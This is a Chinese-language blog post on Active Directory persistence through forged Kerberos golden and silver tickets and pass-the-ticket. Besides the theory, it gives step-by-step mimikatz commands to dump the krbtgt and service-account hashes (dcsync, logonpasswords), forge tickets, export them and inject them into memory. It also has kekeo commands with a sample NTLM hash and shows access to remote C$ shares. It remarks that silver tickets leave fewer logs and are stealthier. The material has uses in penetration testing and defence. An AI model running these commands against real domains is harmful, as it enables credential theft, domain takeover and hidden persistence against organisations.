Adminxe's Blog | 低调求发展 - 潜心习安全 ,技术永无止境 | 谢谢您对本站的支持,有什么问题或者建议请及时联系:点击这里给我发消息

权限维持之关于黄金与白银票据

内网渗透 Adminxe 1599℃ 0评论

0x00 背景

票据传递攻击(PTT) 是一种使用kerberos票据代替明文密码或N T L M哈希的方法

mimikatz提供不需要本地管理员权限进行横向渗透的方法,实现未授权访问,如Pass The Ticket

TGT(Ticket Grabting Ticket):由AS身份认证服务提供的票据,用于身份认证,存储在内存中,默认有效期为10小时

AS,是KDC的组件之一,处理初始请求并负责发出T G T给client,用于完成对Client的身份验证

TGS(Ticket Granting Service):由T G S服务提供的票据也称为白银票据,用于发出所有请求的服务的票据

TGS是kdc组件之一,从as哪里拿到tgt之后,tgs再发出对某个特定服务或服务器访问的ticket,这个ticket允许对某个服务访问

0x01 黄金票据利用条件

  • 伪造的域管理员用户名
  • 完整的域名
  • 域 sid
  • krbtgt的ntlm hash或aes-256值

krbtgt用户是愉域自带用户,被K D C所使用,属于Domain Admins组

在域环境下,每个用户帐号的票据都是由krbtgt用户所生成的,因此如果知道了krbtgt用户的N T L M H A S H或者A E S-256值就可以伪造域内任何用户的身份了

0x02 白银票据利用条件

  • 域名
  • 域sid
  • 目标服务器的F Q D N 即完整的域名
  • 可利用的服务
  • 服务账户的N T L M哈希
  • 伪造的用户名即任意用户名

0x03 票据伪造原理

黄金票据

A S确认Client端登录者用户身份

K D C返回的Msg B:使用T G S密钥(KDC HASH/KRBTGT用户N T L M H A S H)加密的T G T,当我们获取到krbtgt用户的ntlm哈希后,便可主动使用krbtgt用户的ntlm哈希做为tgs密钥来生成tgt发送给kdc,这样kdc如果通过解密伪造的[CLIENT/TGS SESSIONKEY]可以成功解密Authenticator 1并完成与T G T中的数据对比,便成功伪造了黄金票据

白银票据

client向ssservice server发送服务请求

客户端向服务器发送的为使用S E R V I C E密钥(服务器的N T L M H A S H)加密C L I EN T-T O-S E R V E R T I C K E T Ticket中包含用来供服务器解密Authenticator 2的C L I E N T/S ER V E R S E S S IO N K Y。如果获取到了service server的ntlm hash,便可伪造ticket,和authenticator 2,service server在接收到Ticket和Authenticator 2后可以使用自己的N T L M H A SH正常解密完成比对,也就是成功伪造了白银票据

all in all

  1. 黄金票据或者白银票据需要拿到krbtgt或者server用户的hash,故只能为后门所用
  2. 白银票据利用之后没有日志,比黄金票据更好
  3. Service Hash是目标中一个用户名与hostname相同的用户的hash,如hostname为P C-W I N7的服务器,对应的Hash就是Username:P C W I N7$的Hash

0x04 黄金票据利用

  1. 导出krbtgt的N T L M H A SH
lsadump::dcsync/domain:sec.com /user:krbtgt

该命令使用的dcsync功能远程转储ad里面的ntds.dit 使用/user参数,可以只导出指定用户的值

或者使用以下命令获取krbtgt的ntlm hash,域sid值,但该命令无法获取aes-256的值

privilege::debug
lsadump::lsa /path/user:krbtgt
  1. 获取基本信息

获取域S I D

wmic useraccount get name,sid

获取当前用户的sid

whoami /user

查询域管理员账号

net group "domain admins" /domain

查询域名

ipconfig /all
  1. 制造黄金票据

先将票据清空

kerberos::purge

生成票据

kerberos::golden /admin:Administrator /domain:sec.com /sid:当前域的S I D /krbtgt:krbtgt的N T L M H A SH /ticket:Administrator.kiribi

传递票据并注入内存

kerberos::ptt Administrator.kiribi

0x05 白银票据利用

伪造G I F S服务权限

G I FS服务常用于windows主机之间的文件共享

首先使用mimikatz获取服务器账户的N T L M哈希

mimikatz log "privilege::debug" "sekurlsa::logonpasswords" exit

得到H ash后,清空当前系统中的票据,防止其他票据干扰

klist purge

kerberos::purge

使用mimikatz伪造白银票据

mimikatz "kerberos::golden /user:t /domain:sec.com sid:xxx /target:dc /rc4:xxxx /service:cifs /ptt" exit 

伪造L D A P服务权限

首先判断当前权限是否可以使用dcsync域控进行同步

mimikatz "lsadump::dcsync /dc:dc /doamin:sec.com /user:krbtgt" exit

如果返回error说明当前权限不能进行dcsync操作

接下来生成L D A P服务的白银票据

mimikatz "kerberos::golden /user:t /domain:sec.com /sid:xxxx /target:dc /rc4:xxx /service:ldap /ptt" exit

0x06 使用 mimikatz 进行票据传递

使用mimikatz(管理员权限)将内存的票据导出:(运行以下命令会在当前目录生成多个服务的票据文件)

mimikatz.exe "privilege::debug" "sekurlsa::tickets /export"

从中选择一个目标系统自己的,移动到黑客机器上。

将票据文件注入内存:

mimikatz "kerberos::ptt "[0;4ee98c]-2-0-60a00000-Administrator@krbtgt-GOD.ORG.kirbi"

将最高权限的票据文件注入内存后,将列出远程计算机系统的文件目录:

dir \\192.168.3.25\C$

遇到密码错误的问题那么我们把IP换成目标主机名:

dir \\mary-pc\c$

票据传递比哈希传递更方便,更实用,成功率更高。

如果要清除内存中的票据使用mimikatz运行下面的命令:

kerberos::purge

0x07 使用 kekeo 进行票据传递

kekeo 需要使用域名、用户名、NTLM Hash 三者配合生成票据,再将票据导入,从而直接连接远程计算机。

域名:god.org
用户名:administrator
NTLM Hash:ccef208c6485269c20db2cad21734fe7

也就是在目标机器上运行下面的命令,只需要普通权限就可以!

kekeo.exe "tgt::ask /user:administrator /domain:god.org /ntlm:ccef208c6485269c20db2cad21734fe7"

这个时候会在当前路径下生成一个票据文件:TGT_administrator@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi

之后把这个票据文件移动到黑客的机器上,在黑客机器上使用 kekeo 输入命令将移动的票据导入内存:

kerberos::ptt TGT_administrator@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi

这个时候就可以使用 dir 命令,列出远程主机中的文件:

dir \\OWA2010CN-God\c$
PS:使用 dir 命令时,务必使用主机名,如果使用 IP 地址,就有可能导致错误。

0x08 两个票据的区别

  1. 白银票据不经过kdc,因此白银票据日志比黄金票据日志少,日志都在目标服务器上,不在域控
  2. 白银票据利用服务器账号的hash,不同于黄金票据利用krbtgt账号的hash,因此白银票据更加隐蔽,但权限不如黄金票据

0X09 引荐

因为很多都是理论性的东西,笔记也不愿意翻,突然看到好朋友yanmu的笔记了,拿过来分享一下

转载请注明:Adminxe's Blog » 权限维持之关于黄金与白银票据

喜欢 (0)or分享 (0)
发表我的评论
取消评论
表情

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址